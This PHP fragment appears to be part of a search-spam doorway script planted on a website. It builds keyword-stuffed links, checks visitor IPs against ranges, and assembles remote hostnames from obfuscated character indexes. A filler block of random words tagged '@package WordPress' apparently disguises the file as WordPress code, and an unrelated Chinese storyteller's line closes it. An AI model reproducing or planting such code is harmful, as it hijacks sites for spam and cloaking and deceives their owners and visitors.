$str = str_replace('|', '', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('【', '', $str);
$str = str_replace('】', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('《', '', $str);
$str = str_replace('》', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('。', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('、', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('°', '', $str);
$str = str_replace('&', '&', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
if(strstr($pname,'#cat#')){
$tp_pname_arr = explode('#cat#',$pname);
$pname = $tp_pname_arr[1];
$precat = $tp_pname_arr[0];
}
if(function_exists("preg_split")){
$tpnameArr = preg_split('/\s+/us', $pname);
}else{
$tpnameArr = explode(' ', $pname);
}
$pnameArr = array();
foreach($tpnameArr as $tpvs){
$tpvs = trim($tpvs);
if($tpvs){
$pnameArr[] = $tpvs;
}
}
$numPname = count($pnameArr);
if($numPname > 3){
$numLinkKey = round(PNAMELEN * $numPname / 100);
$yushu = KEYJG % $numPname;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$numPname;$i++){
if($i<$yushu){
$arrLast[] = $pnameArr[$i];
}else{
$arrPre[] = $pnameArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$usedNameArr = array();
for($i=0;$i<$numLinkKey;$i++){
$usedNameArr[$i] = $arrPre[$i];
}
if(count($usedNameArr)){
$pname = implode(' ',$usedNameArr);
}
}
if(JDT == 0){
$precat = strFilter($precat);
$precat = preg_replace('/\s+/', '-', $precat);
}
$pname = strFilter($pname);
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$rsp = '#'. BZPRO .'\d+#';
$pname = trim($pname);
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$linkCenter = $pname .'-' .$pid;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
$precat = preg_replace($rsp,'',$precat);
$precat = str_replace('&','',$precat);
$precat = str_replace('&',';',$precat);
$precat = preg_replace('/\s+/', '-', $precat);
$pname = preg_replace($rsp,'',$pname);
if(JDT == 0){
$linkCenter = $precat.'/'.$pname.'/'.$pid;
}else{
$linkCenter = $precat.'/'.$pname.'/'.$pid;
}
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
while(strstr($linkCenter,'--'))
$linkCenter = str_replace('--','-',$linkCenter);
// $linkCenter = str_replace('/-','/',$linkCenter);
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
$rtStr = str_replace('-amp;-','-&-',$rtStr);
return $rtStr;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
//
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{14}.$O00O0O{0}.$O00O0O{7}.$O00O0O{7}.$O00O0O{18}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{2}.$O00O0O{20}.$O00O0O{2}.$O00O0O{4}.$O00O0O{0}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{15}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{2}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{17}.$O00O0O{0}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{0}.$O00O0O{1}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
* if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* appreciate diverse fax globe jewel nevertheless restraint talent tuition virtue yield.
* arichmetic attach cliff distinguish episode globe household hydrogen impose ingredient suspicion universal vary.
* ban consume durable interfere passport stimulate.
* agency appropriate competent extraordinary glory inhabitant notify orchestra range slippery trap victim volcano.
* agent architecture capture cargo conquer deposit dump evolution export flash gallon household individual knot marine sake shift temporary trace vessel videotape.
* bother conservative distinguish glory junior loose mutual naval spray.
* academic advertisement architecture continual distinguish facility hydrogen launch mature particularly peak revenue shrink slide spray stimulate tedious tend territory.
* applicant balcony consistent deposit dive elaborate extraordinary fax interpret leak nylon pants professional seminar transmit treaty vanish vehicle vessel.
* awkward ban burst consume deserve enviroment geometry gratitude household invade jail liberal merchant nevertheless prospect regulate religion religious render suburb.
* aspect chaos enthusiasm expel expensive favorite horror molecule orient revenue unique usage vertical withdraw.
* approximate geography removal torture.
* dusk export jewel lynar provision usage via.
* adult collision fate horrible moisture pants poverty radical spray tarnest tidy torture withstand.
* adopt code continuous delay gasoline magnet navigation opponent parallel participate powder primitive rely sensitive strategy textile transplant triangle wagon.
* comparable dumb extent principle scan sorrow tropical variation.
* advertise aware compete deputy evil exaggerate fatal faulty highlight infant lean liable medium reinforce shelter tidy virtue.
* adult automatic balcony bundle campus liquor passport snap.
*
* @package WordPress
*/
//file end
那么他究竟做了什么坏事了呢?请听下回分解。